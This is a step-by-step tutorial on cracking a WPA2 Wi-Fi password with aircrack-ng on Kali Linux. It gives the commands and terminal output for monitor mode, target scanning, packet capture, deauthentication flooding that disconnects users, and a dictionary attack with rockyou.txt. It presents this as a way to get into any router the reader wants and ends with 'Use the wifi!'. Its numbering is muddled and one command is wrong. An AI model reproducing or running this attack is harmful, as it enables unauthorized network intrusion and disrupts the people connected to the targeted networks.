

# Hack wifi password using aircrack-ng overview

MOHAMMAD FADEL

### Step 1 updating and installing

1-sudo apt update

2-sudo apt install aircrack-ng

### Step 2 monitor mode <THE WIFI NETWORK card most sport monitor mode and packet injection mode>

1-iwconfig the wlan0 is network card name you will have the same or anise name copy it will use it later

```
(kali@kali)-[~]
$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated  Tx-Power=0 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
```

### 2-sudo airmon-ng check kill

```
(kali@kali)-[~]
$ sudo airmon-ng check kill

Killing these processes:

  PID Name
 1461 wpa_supplicant
```

### 3-sudo airmon-ng start <put your card name>

# Fadel tutorials

```
(kali㉿kali)-[~]
$ sudo airmon-ng start wlan0
```

PHY	Interface	Driver	Chipset
phy0	wlan0	ath9k_htc	Qualcomm Atheros Communications AR9271 802.11n
		(mac80211 <u>monitor mode</u>	vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
		(mac80211 <u>station mode</u>	vif disabled for [phy0]wlan0)

## 3-looking if the mode changed corakt

```
(kali㉿kali)-[~]
$ iwconfig
```

lo	no wireless extensions.		
eth0	no wireless extensions.		
<u>wlan0mon</u>	IEEE 802.11	<u>Mode:Monitor</u>	Frequency:2.457 GHz Tx-Power=20 dBm
	Retry short limit:7	RTS thr:off	Fragment thr:off
	Power Management:off		

You will see the <network card name> and have at the end “<card name>**mon**” and the mode will be “Monitor”

# Fadel tutorials

4-type **airodump-ng start** "<card name>mod" to see the routers names and more of information about it

```
CH 14 ][ Elapsed: 0 s ][ 2021-02-01 06:13
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC CIPHER	AUTH	ESSID
90:9A:4A:B8:F3:FB	-46	2	0 0	1	48	WPA2 CCMP	PSK	TP-Link_F3FC
38	-82	2	0 0	6	130	OPN		
35	-85	2	0 0	6	54e	WPA2 CCMP	PSK	
73	-89	2	0 0	1	195	OPN		
76	-90	2	0 0	1	130	WPA2 CCMP	PSK	
34	-65	8	4 1	2	720	WPA2 CCMP	PSK	
5A	-88	1	1 0	1	130	WPA2 CCMP	PSK	
1E	-36	6	0 0	1	48	WPA2 CCMP	PSK	
72	-89	0	2 0	1	-1	WPA		
90:9A:4A:B8:F3:FB	-19	15	0 0	2	360	WPA2 CCMP	PSK	TP-Link_F3FC

  

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
34	38:F9:D3:51:AA:BE	-42	0 -24	0	1		
72	7C:A7:B0:9C:F3:5F	-92	0 - 1e	0	1		
72	68:C6:3A:92:AA:E0	-88	0 - 6	0	1		

5-find the router you want to find it password and copy the **BSSID** for it and **CH**

6-type **airodump-ng** "<card name>mon" -d **BSSID**

```
CH 7 ][ Elapsed: 1 min ][ 2021-02-01 06:16
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC CIPHER	AUTH	ESSID
90:9A:4A:B8:F3:FB	-57	127	13 0	2	360	WPA2 CCMP	PSK	TP-Link_F3FC

  

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
90:9A:4A:B8:F3:FB	BA:AD:08:AC:15:A7	-38	0 - 1	0	10		

Quitting...

7-type **sudo airodump-ng -w wifi-hack -c <channel or CH> --bssid <macaddress of the router> "<Card Name>mon"**

# Fadel tutorials

```
CH 2 ][ Elapsed: 0 s ][ 2021-02-01 06:17
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
90:9A:4A:B8:F3:FB	-18	100	42	0 0	2	360	WPA2	CCMP	PSK	TP-Link_F3FC

  

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
90:9A:4A:B8:F3:FB	BA:AD:08:AC:15:A7	-39	0 - 1	2	10		

Now we want to capture the 3way hand shake

7-type **sudo aireplay-ng --deauth 1000 -a <bssid>**  
**<card name>**

```
(kali㉿kali) ~ [~]
$ sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

[sudo] password for kali:
06:17:53 Waiting for beacon frame (BSSID: 90:9A:4A:B8:F3:FB) on channel 2
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:17:53 Sending DeAuth (code 7) to broadcast -- BSSID: [90:9A:4A:B8:F3:FB]
06:17:54 Sending DeAuth (code 7) to broadcast -- BSSID: [90:9A:4A:B8:F3:FB]
06:17:55 Sending DeAuth (code 7) to broadcast -- BSSID: [90:9A:4A:B8:F3:FB]
06:17:55 Sending DeAuth (code 7) to broadcast -- BSSID: [90:9A:4A:B8:F3:FB]
```

Now the people connected to the router will be kicked out of the network

```
CH 2 ][ Elapsed: 1 min ][ 2021-02-01 06:18 ][ WPA handshake: 90:9A:4A:B8:F3:FB
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
90:9A:4A:B8:F3:FB	-19	0	815	45 0	2	360	WPA2	CCMP	PSK	TP-Link_F3FC

  

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
90:9A:4A:B8:F3:FB	BA:AD:08:AC:15:A7	-27	1e- 1	0	57		

# Fadel tutorials

10-now we want to stop monitor mode so type :

**sudo airmon-ng stop <BSSID>**

```
(kali㉿kali)-[~]
$ iwconfig
lo          no wireless extensions.

eth0        no wireless extensions.

wlan0       IEEE 802.11  ESSID:off/any
            Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
            Retry short limit:7   RTS thr:off   Fragment thr:off
            Power Management:off
```

**NOT!** if the network card is in monitor mode you can't use the internet

9-type **aircrack-ng wifi-hack.cap -w "/path to the world list you have"** you can use on kali linux  
"/usr/share/wordlists/rockyou.txt"

But before you sudo unzip the file : **sudo gzip -d /usr/share/worldlists/rockyou.txt.gz**

```
Aircrack-ng 1.6
[00:00:01] 4934/10303715 keys tested (4616.34 k/s)
Time left: 37 minutes, 11 seconds
KEY FOUND! [ hellohello ]
the wifi password

Master Key   : 42 F5 71 13 82 7D A3 BE 84 C2 AD C0 D7 DA 53 54
               D1 E6 0F 86 C2 66 A9 48 98 0E 7E 8C 51 94 7C A3

Transient Key : 92 1C 0E 68 64 3B F7 26 15 E5 8D 16 35 4B 5E 5C
               29 E8 94 19 4A 9F F2 86 37 E0 5C DC 5D 65 B3 01
               DC 74 81 D5 A8 93 46 B3 55 82 40 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC   : 93 54 6E 80 15 25 3B 5F 91 25 21 61 17 F8 EE 3B
```

Now it will be testing all the password in the world list in the rockyou file 14,341,564 it will take same time to finish

# Fadel tutorials

10-Use the wifi!-\_-